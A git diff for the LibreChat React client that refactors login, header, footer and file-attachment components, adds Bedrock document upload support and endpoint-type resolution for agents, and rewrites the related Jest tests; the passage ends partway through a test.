@@ -34,9 +47,8 @@ function Login() { newParams.delete('error'); setSearchParams(newParams, { replace: true }); } - }, [searchParams, setSearchParams, showToast, localize]); + }, [searchParams, setSearchParams, showToast, localize, location.state]); - // Once the disable flag is detected, update local state and remove the parameter from the URL. useEffect(() => { if (disableAutoRedirect) { setIsAutoRedirectDisabled(true); @@ -46,7 +58,6 @@ function Login() { } }, [disableAutoRedirect, searchParams, setSearchParams]); - // Determine whether we should auto-redirect to OpenID. const shouldAutoRedirect = startupConfig?.openidLoginEnabled && startupConfig?.openidAutoRedirect && @@ -60,7 +71,6 @@ function Login() { } }, [shouldAutoRedirect, startupConfig]); - // Render fallback UI if auto-redirect is active. if (shouldAutoRedirect) { return (
diff --git a/client/src/components/Chat/AddMultiConvo.tsx b/client/src/components/Chat/AddMultiConvo.tsx index 7cabe0f336..48e9919092 100644 --- a/client/src/components/Chat/AddMultiConvo.tsx +++ b/client/src/components/Chat/AddMultiConvo.tsx @@ -1,17 +1,21 @@ +import { useCallback } from 'react'; +import { useSetRecoilState, useRecoilValue } from 'recoil'; import { PlusCircle } from 'lucide-react'; import { TooltipAnchor } from '@librechat/client'; import { isAssistantsEndpoint } from 'librechat-data-provider'; import type { TConversation } from 'librechat-data-provider'; -import { useChatContext, useAddedChatContext } from '~/Providers'; +import { useGetConversation, useLocalize } from '~/hooks'; import { mainTextareaId } from '~/common'; -import { useLocalize } from '~/hooks'; +import store from '~/store'; function AddMultiConvo() { - const { conversation } = useChatContext(); - const { setConversation: setAddedConvo } = useAddedChatContext(); const localize = useLocalize(); + const getConversation = useGetConversation(0); + const endpoint = useRecoilValue(store.conversationEndpointByIndex(0)); + const setAddedConvo = useSetRecoilState(store.conversationByIndex(1)); - const clickHandler = () => { + const clickHandler = useCallback(() => { + const conversation = getConversation(); const { title: _t, ...convo } = conversation ?? ({} as TConversation); setAddedConvo({ ...convo, @@ -22,13 +26,13 @@ function AddMultiConvo() { if (textarea) { textarea.focus(); } - }; + }, [getConversation, setAddedConvo]); - if (!conversation) { + if (!endpoint) { return null; } - if (isAssistantsEndpoint(conversation.endpoint)) { + if (isAssistantsEndpoint(endpoint)) { return null; } diff --git a/client/src/components/Chat/Footer.tsx b/client/src/components/Chat/Footer.tsx index 75dd853c4f..541647a8d0 100644 --- a/client/src/components/Chat/Footer.tsx +++ b/client/src/components/Chat/Footer.tsx @@ -1,11 +1,11 @@ -import React, { useEffect } from 'react'; -import ReactMarkdown from 'react-markdown'; +import React, { useEffect, memo } from 'react'; import TagManager from 'react-gtm-module'; +import ReactMarkdown from 'react-markdown'; import { Constants } from 'librechat-data-provider'; import { useGetStartupConfig } from '~/data-provider'; import { useLocalize } from '~/hooks'; -export default function Footer({ className }: { className?: string }) { +function Footer({ className }: { className?: string }) { const { data: config } = useGetStartupConfig(); const localize = useLocalize(); @@ -98,3 +98,8 @@ export default function Footer({ className }: { className?: string }) {
); } + +const MemoizedFooter = memo(Footer); +MemoizedFooter.displayName = 'Footer'; + +export default MemoizedFooter; diff --git a/client/src/components/Chat/Header.tsx b/client/src/components/Chat/Header.tsx index 40e2c6b7ad..9e44e804c9 100644 --- a/client/src/components/Chat/Header.tsx +++ b/client/src/components/Chat/Header.tsx @@ -1,4 +1,4 @@ -import { useMemo } from 'react'; +import { memo, useMemo } from 'react'; import { useMediaQuery } from '@librechat/client'; import { useOutletContext } from 'react-router-dom'; import { AnimatePresence, motion } from 'framer-motion'; @@ -16,7 +16,7 @@ import { cn } from '~/utils'; const defaultInterface = getConfigDefaults().interface; -export default function Header() { +function Header() { const { data: startupConfig } = useGetStartupConfig(); const { navVisible, setNavVisible } = useOutletContext(); @@ -35,6 +35,11 @@ export default function Header() { permission: Permissions.USE, }); + const hasAccessToTemporaryChat = useHasAccess({ + permissionType: PermissionTypes.TEMPORARY_CHAT, + permission: Permissions.USE, + }); + const isSmallScreen = useMediaQuery('(max-width: 768px)'); return ( @@ -73,7 +78,7 @@ export default function Header() { - + {hasAccessToTemporaryChat === true && } )}
@@ -85,7 +90,7 @@ export default function Header() { - + {hasAccessToTemporaryChat === true && }
)}
@@ -94,3 +99,8 @@ export default function Header() { ); } + +const MemoizedHeader = memo(Header); +MemoizedHeader.displayName = 'Header'; + +export default MemoizedHeader; diff --git a/client/src/components/Chat/Input/BadgeRow.tsx b/client/src/components/Chat/Input/BadgeRow.tsx index 5036dcd5e4..6fea6b0d58 100644 --- a/client/src/components/Chat/Input/BadgeRow.tsx +++ b/client/src/components/Chat/Input/BadgeRow.tsx @@ -28,6 +28,7 @@ interface BadgeRowProps { onChange: (badges: Pick[]) => void; onToggle?: (badgeId: string, currentActive: boolean) => void; conversationId?: string | null; + specName?: string | null; isSubmitting?: boolean; isInChat: boolean; } @@ -142,6 +143,7 @@ const dragReducer = (state: DragState, action: DragAction): DragState => { function BadgeRow({ showEphemeralBadges, conversationId, + specName, isSubmitting, onChange, onToggle, @@ -320,7 +322,11 @@ function BadgeRow({ }, [dragState.draggedBadge, handleMouseMove, handleMouseUp]); return ( - +
{showEphemeralBadges === true && } {tempBadges.map((badge, index) => ( diff --git a/client/src/components/Chat/Input/ChatForm.tsx b/client/src/components/Chat/Input/ChatForm.tsx index f8f0fbb40b..fed355dcb3 100644 --- a/client/src/components/Chat/Input/ChatForm.tsx +++ b/client/src/components/Chat/Input/ChatForm.tsx @@ -194,7 +194,7 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => { const baseClasses = useMemo( () => cn( - 'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/50 bg-transparent dark:placeholder-white/50 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]', + 'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/60 bg-transparent dark:placeholder-white/60 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]', isCollapsed ? 'max-h-[52px]' : 'max-h-[45vh] md:max-h-[55vh]', isMoreThanThreeRows ? 'pl-5' : 'px-5', ), @@ -219,7 +219,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
{showPlusPopover && !isAssistantsEndpoint(endpoint) && ( { )} {showMentionPopover && ( { } isSubmitting={isSubmitting} conversationId={conversationId} + specName={conversation?.spec} onChange={setBadges} isInChat={ Array.isArray(conversation?.messages) && conversation.messages.length >= 1 diff --git a/client/src/components/Chat/Input/Files/AttachFileChat.tsx b/client/src/components/Chat/Input/Files/AttachFileChat.tsx index 37b3584d3e..00a0b7aaa8 100644 --- a/client/src/components/Chat/Input/Files/AttachFileChat.tsx +++ b/client/src/components/Chat/Input/Files/AttachFileChat.tsx @@ -2,10 +2,9 @@ import { memo, useMemo } from 'react'; import { Constants, supportsFiles, - EModelEndpoint, mergeFileConfig, isAgentsEndpoint, - getEndpointField, + resolveEndpointType, isAssistantsEndpoint, getEndpointFileConfig, } from 'librechat-data-provider'; @@ -55,21 +54,31 @@ function AttachFileChat({ const { data: endpointsConfig } = useGetEndpointsQuery(); - const endpointType = useMemo(() => { - return ( - getEndpointField(endpointsConfig, endpoint, 'type') || - (endpoint as EModelEndpoint | undefined) - ); - }, [endpoint, endpointsConfig]); + const agentProvider = useMemo(() => { + if (!isAgents || !conversation?.agent_id) { + return undefined; + } + const agent = agentData || agentsMap?.[conversation.agent_id]; + return agent?.provider; + }, [isAgents, conversation?.agent_id, agentData, agentsMap]); + const endpointType = useMemo( + () => resolveEndpointType(endpointsConfig, endpoint, agentProvider), + [endpointsConfig, endpoint, agentProvider], + ); + + const fileConfigEndpoint = useMemo( + () => (isAgents && agentProvider ? agentProvider : endpoint), + [isAgents, agentProvider, endpoint], + ); const endpointFileConfig = useMemo( () => getEndpointFileConfig({ - endpoint, fileConfig, endpointType, + endpoint: fileConfigEndpoint, }), - [endpoint, fileConfig, endpointType], + [fileConfigEndpoint, fileConfig, endpointType], ); const endpointSupportsFiles: boolean = useMemo( () => supportsFiles[endpointType ?? endpoint ?? ''] ?? false, diff --git a/client/src/components/Chat/Input/Files/AttachFileMenu.tsx b/client/src/components/Chat/Input/Files/AttachFileMenu.tsx index 218328b086..62072e49e5 100644 --- a/client/src/components/Chat/Input/Files/AttachFileMenu.tsx +++ b/client/src/components/Chat/Input/Files/AttachFileMenu.tsx @@ -8,13 +8,6 @@ import { FileImageIcon, TerminalSquareIcon, } from 'lucide-react'; -import { - Providers, - EToolResources, - EModelEndpoint, - defaultAgentCapabilities, - isDocumentSupportedProvider, -} from 'librechat-data-provider'; import { FileUpload, TooltipAnchor, @@ -22,6 +15,14 @@ import { AttachmentIcon, SharePointIcon, } from '@librechat/client'; +import { + Providers, + EToolResources, + EModelEndpoint, + defaultAgentCapabilities, + bedrockDocumentExtensions, + isDocumentSupportedProvider, +} from 'librechat-data-provider'; import type { EndpointFileConfig } from 'librechat-data-provider'; import { useAgentToolPermissions, @@ -37,14 +38,19 @@ import { ephemeralAgentByConvoId } from '~/store'; import { MenuItemProps } from '~/common'; import { cn } from '~/utils'; -type FileUploadType = 'image' | 'document' | 'image_document' | 'image_document_video_audio'; +type FileUploadType = + | 'image' + | 'document' + | 'image_document' + | 'image_document_extended' + | 'image_document_video_audio'; interface AttachFileMenuProps { agentId?: string | null; endpoint?: string | null; disabled?: boolean | null; conversationId: string; - endpointType?: EModelEndpoint; + endpointType?: EModelEndpoint | string; endpointFileConfig?: EndpointFileConfig; useResponsesApi?: boolean; } @@ -99,6 +105,8 @@ const AttachFileMenu = ({ inputRef.current.accept = '.pdf,application/pdf'; } else if (fileType === 'image_document') { inputRef.current.accept = 'image/*,.heif,.heic,.pdf,application/pdf'; + } else if (fileType === 'image_document_extended') { + inputRef.current.accept = `image/*,.heif,.heic,${bedrockDocumentExtensions}`; } else if (fileType === 'image_document_video_audio') { inputRef.current.accept = 'image/*,.heif,.heic,.pdf,application/pdf,video/*,audio/*'; } else { @@ -134,6 +142,11 @@ const AttachFileMenu = ({ let fileType: Exclude = 'image_document'; if (currentProvider === Providers.GOOGLE || currentProvider === Providers.OPENROUTER) { fileType = 'image_document_video_audio'; + } else if ( + currentProvider === Providers.BEDROCK || + endpointType === EModelEndpoint.bedrock + ) { + fileType = 'image_document_extended'; } onAction(fileType); }, diff --git a/client/src/components/Chat/Input/Files/DragDropModal.tsx b/client/src/components/Chat/Input/Files/DragDropModal.tsx index a59a7e3e9d..cb5109c866 100644 --- a/client/src/components/Chat/Input/Files/DragDropModal.tsx +++ b/client/src/components/Chat/Input/Files/DragDropModal.tsx @@ -1,14 +1,6 @@ import React, { useMemo } from 'react'; import { useRecoilValue } from 'recoil'; import { OGDialog, OGDialogTemplate } from '@librechat/client'; -import { - Providers, - inferMimeType, - EToolResources, - EModelEndpoint, - defaultAgentCapabilities, - isDocumentSupportedProvider, -} from 'librechat-data-provider'; import { ImageUpIcon, FileSearch, @@ -16,6 +8,15 @@ import { FileImageIcon, TerminalSquareIcon, } from 'lucide-react'; +import { + Providers, + inferMimeType, + EToolResources, + EModelEndpoint, + isBedrockDocumentType, + defaultAgentCapabilities, + isDocumentSupportedProvider, +} from 'librechat-data-provider'; import { useAgentToolPermissions, useAgentCapabilities, @@ -77,20 +78,26 @@ const DragDropModal = ({ onOptionSelect, setShowModal, files, isVisible }: DragD ) { const supportsImageDocVideoAudio = currentProvider === EModelEndpoint.google || currentProvider === Providers.OPENROUTER; - const validFileTypes = supportsImageDocVideoAudio - ? files.every((file) => { - const type = getFileType(file); - return ( - type?.startsWith('image/') || - type?.startsWith('video/') || - type?.startsWith('audio/') || - type === 'application/pdf' - ); - }) - : files.every((file) => { - const type = getFileType(file); - return type?.startsWith('image/') || type === 'application/pdf'; - }); + const isBedrock = + currentProvider === Providers.BEDROCK || endpointType === EModelEndpoint.bedrock; + + const isValidProviderFile = (file: File): boolean => { + const type = getFileType(file); + if (supportsImageDocVideoAudio) { + return ( + type?.startsWith('image/') || + type?.startsWith('video/') || + type?.startsWith('audio/') || + type === 'application/pdf' + ); + } + if (isBedrock) { + return type?.startsWith('image/') || isBedrockDocumentType(type); + } + return type?.startsWith('image/') || type === 'application/pdf'; + }; + + const validFileTypes = files.every(isValidProviderFile); _options.push({ label: localize('com_ui_upload_provider'), diff --git a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx index f5f45e2b88..43700206c3 100644 --- a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx +++ b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx @@ -36,7 +36,7 @@ const DragDropOverlay = memo(({ isActive }: DragDropOverlayProps) => { }} > {/** Content area with subtle background */} -
+
| undefined; abortUpload?: () => void; setFiles: React.Dispatch>>; - setFilesLoading: React.Dispatch>; + setFilesLoading?: React.Dispatch>; fileFilter?: (file: ExtendedFile) => boolean; assistant_id?: string; agent_id?: string; @@ -58,6 +58,7 @@ export default function FileRow({ const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource }); useEffect(() => { + if (!setFilesLoading) return; if (files.length === 0) { setFilesLoading(false); return; @@ -111,13 +112,15 @@ export default function FileRow({ ) .uniqueFiles.map((file: ExtendedFile, index: number) => { const handleDelete = () => { - showToast({ - message: localize('com_ui_deleting_file'), - status: 'info', - }); if (abortUpload && file.progress < 1) { abortUpload(); } + if (file.progress >= 1) { + showToast({ + message: localize('com_ui_deleting_file'), + status: 'info', + }); + } deleteFile({ file, setFiles }); }; const isImage = file.type?.startsWith('image') ?? false; @@ -133,7 +136,7 @@ export default function FileRow({ > {isImage ? ( { e.preventDefault(); closeButtonRef.current?.focus(); diff --git a/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx new file mode 100644 index 0000000000..d12c25c4a3 --- /dev/null +++ b/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx @@ -0,0 +1,176 @@ +import React from 'react'; +import { render, screen } from '@testing-library/react'; +import { RecoilRoot } from 'recoil'; +import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; +import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider'; +import type { TEndpointsConfig, Agent } from 'librechat-data-provider'; +import AttachFileChat from '../AttachFileChat'; + +const mockEndpointsConfig: TEndpointsConfig = { + [EModelEndpoint.openAI]: { userProvide: false, order: 0 }, + [EModelEndpoint.agents]: { userProvide: false, order: 1 }, + [EModelEndpoint.assistants]: { userProvide: false, order: 2 }, + Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 }, +}; + +const mockFileConfig = mergeFileConfig({ + endpoints: { + Moonshot: { fileLimit: 5 }, + [EModelEndpoint.agents]: { fileLimit: 20 }, + default: { fileLimit: 10 }, + }, +}); + +let mockAgentsMap: Record> = {}; +let mockAgentQueryData: Partial | undefined; + +jest.mock('~/data-provider', () => ({ + useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }), + useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({ + data: select != null ? select(mockFileConfig) : mockFileConfig, + }), + useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }), +})); + +jest.mock('~/Providers', () => ({ + useAgentsMapContext: () => mockAgentsMap, +})); + +/** Capture the props passed to AttachFileMenu */ +let mockAttachFileMenuProps: Record = {}; +jest.mock('../AttachFileMenu', () => { + return function MockAttachFileMenu(props: Record) { + mockAttachFileMenuProps = props; + return
; + }; +}); + +jest.mock('../AttachFile', () => { + return function MockAttachFile() { + return
; + }; +}); + +const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + +function renderComponent(conversation: Record | null, disableInputs = false) { + return render( + + + + + , + ); +} + +describe('AttachFileChat', () => { + beforeEach(() => { + mockAgentsMap = {}; + mockAgentQueryData = undefined; + mockAttachFileMenuProps = {}; + }); + + describe('rendering decisions', () => { + it('renders AttachFileMenu for agents endpoint', () => { + renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }); + expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument(); + }); + + it('renders AttachFileMenu for custom endpoint with file support', () => { + renderComponent({ endpoint: 'Moonshot' }); + expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument(); + }); + + it('renders null for null conversation', () => { + const { container } = renderComponent(null); + expect(container.innerHTML).toBe(''); + }); + }); + + describe('endpointType resolution for agents', () => { + it('passes custom endpointType when agent provider is a custom endpoint', () => { + mockAgentsMap = { + 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial, + }; + renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }); + expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom); + }); + + it('passes openAI endpointType when agent provider is openAI', () => { + mockAgentsMap = { + 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial, + }; + renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }); + expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI); + }); + + it('passes agents endpointType when no agent provider', () => { + renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }); + expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents); + }); + + it('passes agents endpointType when no agent_id', () => { + renderComponent({ endpoint: EModelEndpoint.agents }); + expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents); + }); + + it('uses agentData query when agent not in agentsMap', () => { + mockAgentQueryData = { provider: 'Moonshot' } as Partial; + renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-2' }); + expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom); + }); + }); + + describe('endpointType resolution for non-agents', () => { + it('passes custom endpointType for a custom endpoint', () => { + renderComponent({ endpoint: 'Moonshot' }); + expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom); + }); + + it('passes openAI endpointType for openAI endpoint', () => { + renderComponent({ endpoint: EModelEndpoint.openAI }); + expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI); + }); + }); + + describe('consistency: same endpoint type for direct vs agent usage', () => { + it('resolves Moonshot the same way whether used directly or through an agent', () => { + renderComponent({ endpoint: 'Moonshot' }); + const directType = mockAttachFileMenuProps.endpointType; + + mockAgentsMap = { + 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial, + }; + renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }); + const agentType = mockAttachFileMenuProps.endpointType; + + expect(directType).toBe(agentType); + }); + }); + + describe('endpointFileConfig resolution', () => { + it('passes Moonshot-specific file config for agent with Moonshot provider', () => { + mockAgentsMap = { + 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial, + }; + renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }); + const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number }; + expect(config?.fileLimit).toBe(5); + }); + + it('passes agents file config when agent has no specific provider config', () => { + mockAgentsMap = { + 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial, + }; + renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }); + const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number }; + expect(config?.fileLimit).toBe(10); + }); + + it('passes agents file config when no agent provider', () => { + renderComponent({ endpoint: EModelEndpoint.agents }); + const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number }; + expect(config?.fileLimit).toBe(20); + }); + }); +}); diff --git a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx index d3f0fb65bc..cf08721207 100644 --- a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx +++ b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx @@ -1,12 +1,10 @@ import React from 'react'; import { render, screen, fireEvent } from '@testing-library/react'; -import '@testing-library/jest-dom'; import { RecoilRoot } from 'recoil'; import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; -import { EModelEndpoint } from 'librechat-data-provider'; +import { EModelEndpoint, Providers } from 'librechat-data-provider'; import AttachFileMenu from '../AttachFileMenu'; -// Mock all the hooks jest.mock('~/hooks', () => ({ useAgentToolPermissions: jest.fn(), useAgentCapabilities: jest.fn(), @@ -25,53 +23,45 @@ jest.mock('~/data-provider', () => ({ })); jest.mock('~/components/SharePoint', () => ({ - SharePointPickerDialog: jest.fn(() => null), + SharePointPickerDialog: () => null, })); jest.mock('@librechat/client', () => { - const React = jest.requireActual('react'); + // eslint-disable-next-line @typescript-eslint/no-require-imports + const R = require('react'); return { - FileUpload: React.forwardRef(({ children, handleFileChange }: any, ref: any) => ( -
- - {children} -
- )), - TooltipAnchor: ({ render }: any) => render, - DropdownPopup: ({ trigger, items, isOpen, setIsOpen }: any) => { - const handleTriggerClick = () => { - if (setIsOpen) { - setIsOpen(!isOpen); - } - }; - - return ( -
-
{trigger}
- {isOpen && ( -
- {items.map((item: any, idx: number) => ( - - ))} -
- )} -
- ); - }, - AttachmentIcon: () => 📎, - SharePointIcon: () => SP, + FileUpload: (props) => R.createElement('div', { 'data-testid': 'file-upload' }, props.children), + TooltipAnchor: (props) => props.render, + DropdownPopup: (props) => + R.createElement( + 'div', + null, + R.createElement('div', { onClick: () => props.setIsOpen(!props.isOpen) }, props.trigger), + props.isOpen && + R.createElement( + 'div', + { 'data-testid': 'dropdown-menu' }, + props.items.map((item, idx) => + R.createElement( + 'button', + { key: idx, onClick: item.onClick, 'data-testid': `menu-item-${idx}` }, + item.label, + ), + ), + ), + ), + AttachmentIcon: () => R.createElement('span', { 'data-testid': 'attachment-icon' }), + SharePointIcon: () => R.createElement('span', { 'data-testid': 'sharepoint-icon' }), }; }); -jest.mock('@ariakit/react', () => ({ - MenuButton: ({ children, onClick, disabled, ...props }: any) => ( - - ), -})); +jest.mock('@ariakit/react', () => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const R = require('react'); + return { + MenuButton: (props) => R.createElement('button', props, props.children), + }; +}); const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions; const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities; @@ -83,558 +73,283 @@ const mockUseSharePointFileHandling = jest.requireMock( ).default; const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig; -describe('AttachFileMenu', () => { - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - }, - }); +const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } }); - const mockHandleFileChange = jest.fn(); - - beforeEach(() => { - jest.clearAllMocks(); - - // Default mock implementations - mockUseLocalize.mockReturnValue((key: string) => { - const translations: Record = { - com_ui_upload_provider: 'Upload to Provider', - com_ui_upload_image_input: 'Upload Image', - com_ui_upload_ocr_text: 'Upload OCR Text', - com_ui_upload_file_search: 'Upload for File Search', - com_ui_upload_code_files: 'Upload Code Files', - com_sidepanel_attach_files: 'Attach Files', - com_files_upload_sharepoint: 'Upload from SharePoint', - }; - return translations[key] || key; - }); - - mockUseAgentCapabilities.mockReturnValue({ - contextEnabled: false, - fileSearchEnabled: false, - codeEnabled: false, - }); - - mockUseGetAgentsConfig.mockReturnValue({ - agentsConfig: { - capabilities: { - contextEnabled: false, - fileSearchEnabled: false, - codeEnabled: false, - }, - }, - }); - - mockUseFileHandling.mockReturnValue({ - handleFileChange: mockHandleFileChange, - }); - - mockUseSharePointFileHandling.mockReturnValue({ - handleSharePointFiles: jest.fn(), - isProcessing: false, - downloadProgress: 0, - }); - - mockUseGetStartupConfig.mockReturnValue({ - data: { - sharePointFilePickerEnabled: false, - }, - }); - - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: undefined, - }); - }); - - const renderAttachFileMenu = (props: any = {}) => { - return render( - - - - - , - ); +function setupMocks(overrides: { provider?: string } = {}) { + const translations: Record = { + com_ui_upload_provider: 'Upload to Provider', + com_ui_upload_image_input: 'Upload Image', + com_ui_upload_ocr_text: 'Upload as Text', + com_ui_upload_file_search: 'Upload for File Search', + com_ui_upload_code_files: 'Upload Code Files', + com_sidepanel_attach_files: 'Attach Files', + com_files_upload_sharepoint: 'Upload from SharePoint', }; - - describe('Basic Rendering', () => { - it('should render the attachment button', () => { - renderAttachFileMenu(); - const button = screen.getByRole('button', { name: /attach file options/i }); - expect(button).toBeInTheDocument(); - }); - - it('should be disabled when disabled prop is true', () => { - renderAttachFileMenu({ disabled: true }); - const button = screen.getByRole('button', { name: /attach file options/i }); - expect(button).toBeDisabled(); - }); - - it('should not be disabled when disabled prop is false', () => { - renderAttachFileMenu({ disabled: false }); - const button = screen.getByRole('button', { name: /attach file options/i }); - expect(button).not.toBeDisabled(); - }); + mockUseLocalize.mockReturnValue((key: string) => translations[key] || key); + mockUseAgentCapabilities.mockReturnValue({ + contextEnabled: false, + fileSearchEnabled: false, + codeEnabled: false, }); + mockUseGetAgentsConfig.mockReturnValue({ agentsConfig: {} }); + mockUseFileHandling.mockReturnValue({ handleFileChange: jest.fn() }); + mockUseSharePointFileHandling.mockReturnValue({ + handleSharePointFiles: jest.fn(), + isProcessing: false, + downloadProgress: 0, + }); + mockUseGetStartupConfig.mockReturnValue({ data: { sharePointFilePickerEnabled: false } }); + mockUseAgentToolPermissions.mockReturnValue({ + fileSearchAllowedByAgent: false, + codeAllowedByAgent: false, + provider: overrides.provider ?? undefined, + }); +} - describe('Provider Detection Fix - endpointType Priority', () => { - it('should prioritize endpointType over currentProvider for LiteLLM gateway', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: 'litellm', // Custom gateway name NOT in documentSupportedProviders - }); +function renderMenu(props: Record = {}) { + return render( + + + + + , + ); +} - renderAttachFileMenu({ - endpoint: 'litellm', - endpointType: EModelEndpoint.openAI, // Backend override IS in documentSupportedProviders - }); +function openMenu() { + fireEvent.click(screen.getByRole('button', { name: /attach file options/i })); +} - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); +describe('AttachFileMenu', () => { + beforeEach(jest.clearAllMocks); - // With the fix, should show "Upload to Provider" because endpointType is checked first + describe('Upload to Provider vs Upload Image', () => { + it('shows "Upload to Provider" when endpointType is custom (resolved from agent provider)', () => { + setupMocks({ provider: 'Moonshot' }); + renderMenu({ endpointType: EModelEndpoint.custom }); + openMenu(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); expect(screen.queryByText('Upload Image')).not.toBeInTheDocument(); }); - it('should show Upload to Provider for custom endpoints with OpenAI endpointType', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: 'my-custom-gateway', - }); - - renderAttachFileMenu({ - endpoint: 'my-custom-gateway', - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - + it('shows "Upload to Provider" when endpointType is openAI', () => { + setupMocks({ provider: EModelEndpoint.openAI }); + renderMenu({ endpointType: EModelEndpoint.openAI }); + openMenu(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); }); - it('should show Upload Image when neither endpointType nor provider support documents', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: 'unsupported-provider', - }); + it('shows "Upload to Provider" when endpointType is anthropic', () => { + setupMocks({ provider: EModelEndpoint.anthropic }); + renderMenu({ endpointType: EModelEndpoint.anthropic }); + openMenu(); + expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); + }); - renderAttachFileMenu({ - endpoint: 'unsupported-provider', - endpointType: 'unsupported-endpoint' as any, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); + it('shows "Upload to Provider" when endpointType is google', () => { + setupMocks({ provider: Providers.GOOGLE }); + renderMenu({ endpointType: EModelEndpoint.google }); + openMenu(); + expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); + }); + it('shows "Upload Image" when endpointType is agents (no provider resolution)', () => { + setupMocks(); + renderMenu({ endpointType: EModelEndpoint.agents }); + openMenu(); expect(screen.getByText('Upload Image')).toBeInTheDocument(); expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument(); }); - it('should fallback to currentProvider when endpointType is undefined', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: EModelEndpoint.openAI, - }); - - renderAttachFileMenu({ - endpoint: EModelEndpoint.openAI, - endpointType: undefined, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); + it('shows "Upload Image" when neither endpointType nor provider supports documents', () => { + setupMocks({ provider: 'unknown-provider' }); + renderMenu({ endpointType: 'unknown-type' }); + openMenu(); + expect(screen.getByText('Upload Image')).toBeInTheDocument(); + }); + it('shows "Upload to Provider" for azureOpenAI with useResponsesApi', () => { + setupMocks({ provider: EModelEndpoint.azureOpenAI }); + renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: true }); + openMenu(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); }); - it('should fallback to currentProvider when endpointType is null', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: EModelEndpoint.anthropic, - }); - - renderAttachFileMenu({ - endpoint: EModelEndpoint.anthropic, - endpointType: null, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - - expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); + it('shows "Upload Image" for azureOpenAI without useResponsesApi', () => { + setupMocks({ provider: 